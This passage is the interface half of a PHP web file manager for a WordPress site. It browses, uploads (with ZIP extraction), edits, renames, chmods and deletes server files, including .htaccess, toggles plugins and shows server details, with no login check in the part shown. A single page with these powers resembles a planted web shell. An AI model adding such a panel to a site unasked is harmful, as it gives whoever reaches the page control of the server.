  <button onclick="openEditor('<?= htmlspecialchars(css_rel(css_root().'/.htaccess')) ?>')" class="sidebar-link"><span class="sidebar-icon">🛡</span> .htaccess</button>

  <div class="sidebar-section" style="margin-top:12px">Actions</div>
  <button class="sidebar-link" onclick="openModal('modal-upload')"><span class="sidebar-icon">⬆️</span> Upload File</button>
  <button class="sidebar-link" onclick="openModal('modal-mkdir')"><span class="sidebar-icon">📁</span> New Folder</button>
  <button class="sidebar-link" onclick="openModal('modal-newfile')"><span class="sidebar-icon">📄</span> New File</button>

  <?php
  $disk_total = disk_total_space('/');
  $disk_free  = disk_free_space('/');
  $disk_used  = $disk_total - $disk_free;
  $disk_pct   = $disk_total > 0 ? round($disk_used/$disk_total*100) : 0;
  ?>
  <div class="disk-bar-wrap">
    <div class="disk-bar-label">
      <span>DISK USAGE</span>
      <span style="color:var(--accent)"><?= $disk_pct ?>%</span>
    </div>
    <div class="disk-bar"><div class="disk-bar-fill" style="width:<?= $disk_pct ?>%"></div></div>
    <div style="font-size:10px;color:var(--text2);margin-top:6px"><?= css_format_size($disk_used) ?> / <?= css_format_size($disk_total) ?></div>
  </div>
</div>

<!-- ── MAIN PANEL ── -->
<div id="main">

<?php if (!empty($msg)): ?>
<div class="msg-bar <?= $msg_type ?>">
  <?= $msg_type === 'success' ? '✓' : ($msg_type === 'error' ? '✗' : 'ℹ') ?>
  <?= htmlspecialchars($msg) ?>
</div>
<?php endif; ?>

<?php if ($view_mode === 'files'): ?>
<!-- ════════════ FILE MANAGER ════════════ -->
<div id="toolbar">
  <button class="btn btn-primary" onclick="openModal('modal-upload')">⬆ Upload</button>
  <button class="btn btn-success" onclick="openModal('modal-mkdir')">📁 New Folder</button>
  <button class="btn btn-success" onclick="openModal('modal-newfile')">📄 New File</button>
  <div style="margin-left:auto;display:flex;gap:8px;">
    <button class="btn btn-ghost" onclick="location.reload()">↻ Refresh</button>
  </div>
</div>

<div id="breadcrumb-bar">
  <?= css_breadcrumb($current_rel) ?>
</div>

<div id="file-area">
  <table class="filetable">
    <thead>
      <tr>
        <th style="width:36px"></th>
        <th>Name</th>
        <th>Size</th>
        <th>Permissions</th>
        <th>Modified</th>
        <th>Actions</th>
      </tr>
    </thead>
    <tbody>
    <?php foreach ($items as $item): ?>
    <?php
      $is_dotdot = ($item['name'] === '..');
      $is_dot    = ($item['name'] === '.');
      $perms_cls = '';
      if ($item['perms'] === '0777') $perms_cls = 'perms-777';
      elseif ($item['perms'] === '0755') $perms_cls = 'perms-755';
      elseif ($item['perms'] === '0644') $perms_cls = 'perms-644';
    ?>
    <tr oncontextmenu="showCtx(event,'<?= htmlspecialchars($item['rel'],ENT_QUOTES) ?>','<?= $item['isdir']?'dir':'file' ?>')">
      <td style="text-align:center">
        <?= $item['isdir'] ? '📁' : css_mime_icon($item['name']) ?>
      </td>
      <td class="file-name <?= $item['isdir']?'dir-name':'' ?>">
        <?php if ($item['isdir']): ?>
          <?php if ($is_dotdot): ?>
            <a href="?dir=<?= urlencode(css_rel(dirname($current_dir))) ?>"><?= htmlspecialchars($item['name']) ?></a>
          <?php elseif ($is_dot): ?>
            <span style="color:var(--text2)">.</span>
          <?php else: ?>
            <a href="?dir=<?= urlencode($item['rel']) ?>"><?= htmlspecialchars($item['name']) ?></a>
          <?php endif; ?>
        <?php else: ?>
          <?php if (css_is_editable($item['name'])): ?>
            <a href="#" onclick="openEditor('<?= htmlspecialchars($item['rel'],ENT_QUOTES) ?>')"><?= htmlspecialchars($item['name']) ?></a>
          <?php else: ?>
            <a href="?download=<?= urlencode($item['rel']) ?>"><?= htmlspecialchars($item['name']) ?></a>
          <?php endif; ?>
        <?php endif; ?>
      </td>
      <td class="file-size"><?= $item['isdir'] ? '—' : css_format_size($item['size']) ?></td>
      <td>
        <?php if (!$is_dot && !$is_dotdot): ?>
        <span class="perms-badge <?= $perms_cls ?>"
          onclick="openChmod('<?= htmlspecialchars($item['rel'],ENT_QUOTES) ?>','<?= $item['perms'] ?>')"
          title="Click to chmod">
          <?= $item['perms'] ?>
        </span>
        <?php endif; ?>
      </td>
      <td class="file-date"><?= date('Y-m-d H:i', $item['mtime']) ?></td>
      <td>
        <?php if (!$is_dot && !$is_dotdot): ?>
        <div class="file-actions">
          <?php if (!$item['isdir'] && css_is_editable($item['name'])): ?>
          <button class="btn btn-primary" style="padding:4px 8px;font-size:10px"
            onclick="openEditor('<?= htmlspecialchars($item['rel'],ENT_QUOTES) ?>')">✏ Edit</button>
          <?php endif; ?>
          <?php if (!$item['isdir']): ?>
          <a class="btn btn-ghost" style="padding:4px 8px;font-size:10px"
            href="?download=<?= urlencode($item['rel']) ?>">⬇ DL</a>
          <?php endif; ?>
          <button class="btn btn-warning" style="padding:4px 8px;font-size:10px"
            onclick="openRename('<?= htmlspecialchars($item['rel'],ENT_QUOTES) ?>','<?= htmlspecialchars($item['name'],ENT_QUOTES) ?>')">✎</button>
          <button class="btn btn-danger" style="padding:4px 8px;font-size:10px"
            onclick="confirmDelete('<?= htmlspecialchars($item['rel'],ENT_QUOTES) ?>','<?= htmlspecialchars($item['name'],ENT_QUOTES) ?>')">✗</button>
        </div>
        <?php endif; ?>
      </td>
    </tr>
    <?php endforeach; ?>
    </tbody>
  </table>
</div>

<?php elseif ($view_mode === 'plugins'): ?>
<!-- ════════════ PLUGINS ════════════ -->
<div id="toolbar">
  <span style="color:var(--text2);font-size:12px">⚡ <?= count($plugins) ?> plugins found</span>
  <div style="margin-left:auto">
    <button class="btn btn-ghost" onclick="location.reload()">↻ Refresh</button>
  </div>
</div>

<div id="file-area">
  <table class="filetable">
    <thead>
      <tr>
        <th>Plugin</th>
        <th>Slug / Folder</th>
        <th>Status</th>
        <th>Actions</th>
      </tr>
    </thead>
    <tbody>
    <?php foreach ($plugins as $pl): ?>
    <tr class="plugin-row">
      <td>
        <div style="font-weight:500;color:var(--text0)"><?= htmlspecialchars($pl['name']) ?></div>
        <?php if ($pl['file']): ?>
        <div style="font-size:10px;color:var(--text2);"><?= htmlspecialchars($pl['file']) ?></div>
        <?php endif; ?>
      </td>
      <td>
        <a href="?dir=<?= urlencode('/wp-content/plugins/'.$pl['slug']) ?>" class="btn btn-ghost" style="padding:4px 8px;font-size:10px">
          📁 <?= htmlspecialchars($pl['slug']) ?>
        </a>
      </td>
      <td>
        <?php if ($pl['active']): ?>
          <span class="plugin-badge-on">● ACTIVE</span>
        <?php else: ?>
          <span class="plugin-badge-off">○ INACTIVE</span>
        <?php endif; ?>
      </td>
      <td>
        <div style="display:flex;gap:8px">
        <?php if ($pl['file']): ?>
          <?php if ($pl['active']): ?>
          <form method="post" style="display:inline">
            <input type="hidden" name="action" value="deactivate_plugin">
            <input type="hidden" name="plugin_file" value="<?= htmlspecialchars($pl['file']) ?>">
            <button type="submit" class="btn btn-warning" style="padding:4px 10px;font-size:10px">⏸ Deactivate</button>
          </form>
          <?php else: ?>
          <form method="post" style="display:inline">
            <input type="hidden" name="action" value="activate_plugin">
            <input type="hidden" name="plugin_file" value="<?= htmlspecialchars($pl['file']) ?>">
            <button type="submit" class="btn btn-success" style="padding:4px 10px;font-size:10px">▶ Activate</button>
          </form>
          <?php endif; ?>
        <?php endif; ?>
          <a href="?dir=<?= urlencode('/wp-content/plugins/'.$pl['slug']) ?>" class="btn btn-primary" style="padding:4px 10px;font-size:10px">📂 Files</a>
        </div>
      </td>
    </tr>
    <?php endforeach; ?>
    </tbody>
  </table>
</div>

<?php elseif ($view_mode === 'info'): ?>
<!-- ════════════ SYSTEM INFO ════════════ -->
<div class="stat-cards">
  <div class="stat-card">
    <div class="stat-card-label">PHP Version</div>
    <div class="stat-card-val"><?= phpversion() ?></div>
  </div>
  <div class="stat-card">
    <div class="stat-card-label">Server OS</div>
    <div class="stat-card-val" style="font-size:14px"><?= php_uname('s') ?> <?= php_uname('r') ?></div>
  </div>
  <div class="stat-card">
    <div class="stat-card-label">Memory Limit</div>
    <div class="stat-card-val"><?= ini_get('memory_limit') ?></div>
  </div>
  <div class="stat-card">
    <div class="stat-card-label">Max Upload</div>
    <div class="stat-card-val"><?= ini_get('upload_max_filesize') ?></div>
  </div>
  <div class="stat-card">
    <div class="stat-card-label">Disk Free</div>
    <div class="stat-card-val"><?= css_format_size(disk_free_space('/')) ?></div>
  </div>
  <div class="stat-card">
    <div class="stat-card-label">Server Time</div>
    <div class="stat-card-val" style="font-size:15px"><?= date('H:i:s') ?></div>
  </div>
</div>
<div id="file-area" style="padding:20px">
  <table class="filetable">
    <thead><tr><th>PHP Extension</th><th>Status</th></tr></thead>
    <tbody>
    <?php foreach (['curl','gd','json','mbstring','mysqli','pdo_mysql','zip','xml','openssl','fileinfo'] as $ext): ?>
    <tr>
      <td><?= $ext ?></td>
      <td><?= extension_loaded($ext) ? '<span style="color:var(--green)">✓ loaded</span>' : '<span style="color:var(--danger)">✗ missing</span>' ?></td>
    </tr>
    <?php endforeach; ?>
    </tbody>
  </table>
</div>
<?php endif; ?>

</div><!-- /main -->
</div><!-- /wrapper -->

<!-- ════════════ MODALS ════════════ -->

<!-- Upload Modal -->
<div class="modal-overlay" id="modal-upload">
  <div class="modal" style="min-width:460px">
    <h3>⬆ Upload Files</h3>
    <form method="post" enctype="multipart/form-data" id="upload-form">
      <input type="hidden" name="action" value="upload">
      <div id="upload-drop" onclick="document.getElementById('upload-input').click()">
        <div style="font-size:36px;margin-bottom:10px">📂</div>
        <div style="font-size:13px;font-weight:600;color:var(--text0)">Dosyaları buraya sürükle &amp; bırak</div>
        <div style="font-size:11px;margin-top:4px;color:var(--text2)">veya tıkla — çoklu seçim desteklenir</div>
      </div>
      <input type="file" id="upload-input" name="upload_files[]" multiple style="display:none"
        onchange="handleFileSelect(this.files)">
      <div id="upload-queue" style="display:none;margin-bottom:14px">
        <div style="font-size:10px;color:var(--text2);letter-spacing:2px;text-transform:uppercase;margin-bottom:8px">
          SEÇİLEN DOSYALAR (<span id="upload-count">0</span>)
        </div>
        <div id="upload-list" style="max-height:160px;overflow-y:auto;background:var(--bg0);border:1px solid var(--border);border-radius:4px;padding:6px;"></div>
        <div style="margin-top:8px;font-size:11px;color:var(--text2)">
          Toplam: <span id="upload-total-size" style="color:var(--accent)">0 B</span>
        </div>
      </div>
      <div id="upload-progress-wrap" style="display:none;margin-bottom:14px">
        <div style="font-size:10px;color:var(--text2);margin-bottom:6px;letter-spacing:1px">YÜKLENİYOR...</div>
        <div style="height:6px;background:var(--bg3);border-radius:3px;overflow:hidden">
          <div id="upload-progress-bar" style="height:100%;width:0%;background:linear-gradient(90deg,var(--accent),var(--purple));border-radius:3px;transition:width .3s"></div>
        </div>
        <div style="font-size:11px;color:var(--text2);margin-top:5px"><span id="upload-progress-txt">0%</span></div>
      </div>
      <label style="display:flex;align-items:center;gap:8px;cursor:pointer;margin-bottom:16px;font-size:12px;color:var(--text1)">
        <input type="checkbox" name="is_zip" value="1" id="chk-extract" style="accent-color:var(--accent)">
        ZIP dosyalarini otomatik cikart
      </label>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="resetUpload();closeModal('modal-upload')">İptal</button>
        <button type="button" id="upload-btn" class="btn btn-primary" onclick="startUpload()" disabled>⬆ Yukle</button>
      </div>
    </form>
  </div>
</div>

<!-- Mkdir Modal -->
<div class="modal-overlay" id="modal-mkdir">
  <div class="modal">
    <h3>📁 Create Folder</h3>
    <form method="post">
      <input type="hidden" name="action" value="mkdir">
      <label>Folder Name</label>
      <input type="text" name="folder_name" placeholder="new-folder" autofocus>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('modal-mkdir')">Cancel</button>
        <button type="submit" class="btn btn-success">Create</button>
      </div>
    </form>
  </div>
</div>

<!-- New File Modal -->
<div class="modal-overlay" id="modal-newfile">
  <div class="modal">
    <h3>📄 New File</h3>
    <form method="post">
      <input type="hidden" name="action" value="newfile">
      <label>File Name</label>
      <input type="text" name="file_name" placeholder="filename.php" autofocus>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('modal-newfile')">Cancel</button>
        <button type="submit" class="btn btn-success">Create</button>
      </div>
    </form>
  </div>
</div>

<!-- Rename Modal -->
<div class="modal-overlay" id="modal-rename">
  <div class="modal">
    <h3>✎ Rename</h3>
    <form method="post">
      <input type="hidden" name="action" value="rename">
      <input type="hidden" name="old_name" id="rename-old">
      <label>New Name</label>
      <input type="text" name="new_name" id="rename-new">
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('modal-rename')">Cancel</button>
        <button type="submit" class="btn btn-warning">Rename</button>
      </div>
    </form>
  </div>
</div>

<!-- chmod Modal -->
<div class="modal-overlay" id="modal-chmod">
  <div class="modal">
    <h3>🔐 Change Permissions</h3>
    <form method="post">
      <input type="hidden" name="action" value="chmod">
      <input type="hidden" name="chmod_target" id="chmod-target">
      <label>Octal Value (e.g. 755, 644, 777)</label>
      <input type="text" name="chmod_value" id="chmod-value" maxlength="4" placeholder="755">
      <div style="display:flex;gap:8px;margin-bottom:14px;flex-wrap:wrap">
        <?php foreach (['755','644','777','700','400'] as $p): ?>
        <button type="button" class="btn btn-ghost" style="padding:4px 10px;font-size:11px"
          onclick="document.getElementById('chmod-value').value='<?= $p ?>'"><?= $p ?></button>
        <?php endforeach; ?>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('modal-chmod')">Cancel</button>
        <button type="submit" class="btn btn-warning">Apply</button>
      </div>
    </form>
  </div>
</div>

<!-- Delete Confirm Modal -->
<div class="modal-overlay" id="modal-delete">
  <div class="modal">
    <h3 style="color:var(--danger)">⚠ Confirm Delete</h3>
    <p style="color:var(--text1);margin-bottom:16px">
      Are you sure you want to delete <strong id="delete-name" style="color:var(--text0)"></strong>?<br>
      <span style="font-size:11px;color:var(--danger)">This action cannot be undone.</span>
    </p>
    <form method="post">
      <input type="hidden" name="action" value="delete">
      <input type="hidden" name="target" id="delete-target">
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('modal-delete')">Cancel</button>
        <button type="submit" class="btn btn-danger">Delete</button>
      </div>
    </form>
  </div>
</div>

<!-- ════════════ CODE EDITOR ════════════ -->
<div id="editor-panel">
  <div id="editor-topbar">
    <span>✏</span>
    <span class="editor-title" id="editor-title">untitled</span>
    <form method="post" id="editor-form" style="display:flex;gap:8px;align-items:center">
      <input type="hidden" name="action" value="save">
      <input type="hidden" name="edit_path" id="editor-path">
      <textarea name="file_content" id="editor-hidden" style="display:none"></textarea>
      <button type="button" class="btn btn-ghost" onclick="document.getElementById('code-editor').value=document.getElementById('code-editor').value.replace(/\t/g,'    ')">⇥ Tabs→Spaces</button>
      <button type="button" class="btn btn-danger" onclick="closeEditor()">✗ Close</button>
      <button type="button" class="btn btn-success" onclick="saveEditor()">💾 Save</button>
    </form>
  </div>
  <div id="editor-body">
    <div id="line-numbers"></div>
    <textarea id="code-editor" spellcheck="false"
      oninput="syncLineNumbers()" onscroll="syncScroll()"
      onkeydown="editorKeydown(event)"></textarea>
  </div>
</div>

<!-- ════════════ CONTEXT MENU ════════════ -->
<div id="ctx-menu">
  <div class="ctx-item" onclick="ctxEdit()">✏ Edit</div>
  <div class="ctx-item" onclick="ctxDownload()">⬇ Download</div>
  <div class="ctx-sep"></div>
  <div class="ctx-item" onclick="ctxRename()">✎ Rename</div>
  <div class="ctx-item" onclick="ctxChmod()">🔐 Permissions</div>
  <div class="ctx-sep"></div>
  <div class="ctx-item danger" onclick="ctxDelete()">✗ Delete</div>
</div>

<!-- ════════════ SCRIPTS ════════════ -->
<script>
// ── MODAL HELPERS ──
function openModal(id) { document.getElementById(id).classList.add('open'); }
function closeModal(id) { document.getElementById(id).classList.remove('open'); }
document.querySelectorAll('.modal-overlay').forEach(o => o.addEventListener('click', e => { if(e.target===o) o.classList.remove('open'); }));

// ── RENAME ──
function openRename(rel, name) {
  document.getElementById('rename-old').value = rel;
  document.getElementById('rename-new').value = name;
  openModal('modal-rename');
}

// ── CHMOD ──
function openChmod(rel, perms) {
  document.getElementById('chmod-target').value = rel;
  document.getElementById('chmod-value').value = perms.replace('0','');
  openModal('modal-chmod');
}

// ── DELETE ──
function confirmDelete(rel, name) {
  document.getElementById('delete-target').value = rel;
  document.getElementById('delete-name').textContent = name;
  openModal('modal-delete');
}

// ── EDITOR ──
function openEditor(rel) {
  fetch(window.location.pathname + '?edit=' + encodeURIComponent(rel))
    .then(r => r.text())
    .then(html => {
      const parser = new DOMParser();
      const doc = parser.parseFromString(html, 'text/html');
      const content = doc.querySelector('#editor-raw')?.textContent || '';
      document.getElementById('code-editor').value = content;
      document.getElementById('editor-title').textContent = rel;
      document.getElementById('editor-path').value = rel;
      document.getElementById('editor-panel').classList.add('open');
      syncLineNumbers();
    });
}

function closeEditor() { document.getElementById('editor-panel').classList.remove('open'); }

function saveEditor() {
  document.getElementById('editor-hidden').value = document.getElementById('code-editor').value;
  document.getElementById('editor-form').submit();
}

function syncLineNumbers() {
  const ta = document.getElementById('code-editor');
  const ln = document.getElementById('line-numbers');
  const lines = ta.value.split('\n').length;
  let html = '';
  for (let i = 1; i <= lines; i++) html += i + '\n';
  ln.textContent = html;
}

function syncScroll() {
  const ta = document.getElementById('code-editor');
  document.getElementById('line-numbers').scrollTop = ta.scrollTop;
}

function editorKeydown(e) {
  if (e.key === 'Tab') {
    e.preventDefault();
    const ta = e.target;
    const s = ta.selectionStart, end = ta.selectionEnd;
    ta.value = ta.value.substring(0,s) + '    ' + ta.value.substring(end);
    ta.selectionStart = ta.selectionEnd = s + 4;
    syncLineNumbers();
  }
  if ((e.ctrlKey || e.metaKey) && e.key === 's') {
    e.preventDefault(); saveEditor();
  }
}

// ── CONTEXT MENU ──
let ctxTarget = null, ctxType = null;
function showCtx(e, rel, type) {
  e.preventDefault();
  ctxTarget = rel; ctxType = type;
  const m = document.getElementById('ctx-menu');
  m.style.display = 'block';
  m.style.left = Math.min(e.clientX, window.innerWidth-170) + 'px';
  m.style.top  = Math.min(e.clientY, window.innerHeight-200) + 'px';
}
function hideCtx() { document.getElementById('ctx-menu').style.display = 'none'; }
document.addEventListener('click', hideCtx);

function ctxEdit()     { if(ctxTarget) openEditor(ctxTarget); hideCtx(); }
function ctxDownload() { if(ctxTarget) location.href='?download='+encodeURIComponent(ctxTarget); hideCtx(); }
function ctxRename()   { if(ctxTarget) openRename(ctxTarget, ctxTarget.split('/').pop()); hideCtx(); }
function ctxChmod()    { if(ctxTarget) openChmod(ctxTarget,'0755'); hideCtx(); }
function ctxDelete()   { if(ctxTarget) confirmDelete(ctxTarget, ctxTarget.split('/').pop()); hideCtx(); }

// ── MULTI-FILE UPLOAD ──
let selectedFiles = [];

function fmtBytes(b) {
  if (b >= 1073741824) return (b/1073741824).toFixed(2)+' GB';
  if (b >= 1048576)    return (b/1048576).toFixed(2)+' MB';
  if (b >= 1024)       return (b/1024).toFixed(2)+' KB';
  return b+' B';
}

function handleFileSelect(files) {
  // Merge with existing, dedupe by name
  const existing = new Set(selectedFiles.map(f => f.name));
  for (const f of files) { if (!existing.has(f.name)) { selectedFiles.push(f); existing.add(f.name); } }
  renderQueue();
}

function renderQueue() {
  const list = document.getElementById('upload-list');
  const queue = document.getElementById('upload-queue');
  const cnt   = document.getElementById('upload-count');
  const tot   = document.getElementById('upload-total-size');
  const btn   = document.getElementById('upload-btn');

  if (selectedFiles.length === 0) { queue.style.display='none'; btn.disabled=true; return; }
  queue.style.display = 'block'; btn.disabled = false;
  cnt.textContent = selectedFiles.length;
  tot.textContent = fmtBytes(selectedFiles.reduce((s,f) => s+f.size, 0));

  list.innerHTML = selectedFiles.map((f,i) => `
    <div style="display:flex;align-items:center;gap:8px;padding:5px 6px;border-bottom:1px solid var(--border);font-size:11px">
      <span style="color:var(--text2);min-width:18px;text-align:right">${i+1}</span>
      <span style="flex:1;color:var(--text0);overflow:hidden;text-overflow:ellipsis;white-space:nowrap">${f.name}</span>
      <span style="color:var(--text2);white-space:nowrap">${fmtBytes(f.size)}</span>
      <button onclick="removeFile(${i})" style="background:none;border:none;color:var(--danger);cursor:pointer;font-size:13px;padding:0 2px">✕</button>
    </div>`).join('');
}

function removeFile(i) {
  selectedFiles.splice(i, 1);
  renderQueue();
}

function resetUpload() {
  selectedFiles = [];
  document.getElementById('upload-input').value = '';
  renderQueue();
  document.getElementById('upload-progress-wrap').style.display = 'none';
  document.getElementById('upload-progress-bar').style.width = '0%';
}

function startUpload() {
  if (!selectedFiles.length) return;
  const fd = new FormData();
  fd.append('action', 'upload');
  if (document.getElementById('chk-extract').checked) fd.append('is_zip', '1');
  selectedFiles.forEach(f => fd.append('upload_files[]', f));

  const pw  = document.getElementById('upload-progress-wrap');
  const pb  = document.getElementById('upload-progress-bar');
  const pt  = document.getElementById('upload-progress-txt');
  pw.style.display = 'block';

  const xhr = new XMLHttpRequest();
  xhr.upload.onprogress = e => {
    if (e.lengthComputable) {
      const pct = Math.round(e.loaded/e.total*100);
      pb.style.width = pct+'%';
      pt.textContent = pct+'%';
    }
  };
  xhr.onload = () => { location.reload(); };
  xhr.onerror = () => { pt.textContent = 'Upload failed!'; pb.style.background='var(--danger)'; };
  xhr.open('POST', window.location.href);
  xhr.send(fd);
}

// Drop zone setup
const dropZone = document.getElementById('upload-drop');
if (dropZone) {
  dropZone.addEventListener('dragover', e => { e.preventDefault(); dropZone.classList.add('drag-over'); });
  dropZone.addEventListener('dragleave', e => { if(!dropZone.contains(e.relatedTarget)) dropZone.classList.remove('drag-over'); });
  dropZone.addEventListener('drop', e => {
    e.preventDefault(); dropZone.classList.remove('drag-over');
    handleFileSelect(e.dataTransfer.files);
  });
}

// Init line numbers
syncLineNumbers();
</script>

<!-- Hidden raw editor content for AJAX -->
<?php if ($edit_path && is_file($edit_path)): ?>
<div id="editor-raw" style="display:none"><?= htmlspecialchars($edit_content) ?></div>
<script>
  // Auto open editor if direct link
  document.addEventListener('DOMContentLoaded', () => {
    const raw = document.getElementById('editor-raw');
    if (raw) {
      document.getElementById('code-editor').value = raw.textContent;
      document.getElementById('editor-title').textContent = '<?= htmlspecialchars(css_rel($edit_path), ENT_QUOTES) ?>';
      document.getElementById('editor-path').value = '<?= htmlspecialchars(css_rel($edit_path), ENT_QUOTES) ?>';
      document.getElementById('editor-panel').classList.add('open');
      syncLineNumbers();
    }
  });
</script>
<?php endif; ?>

<?php endif; ?>
</body>
</html>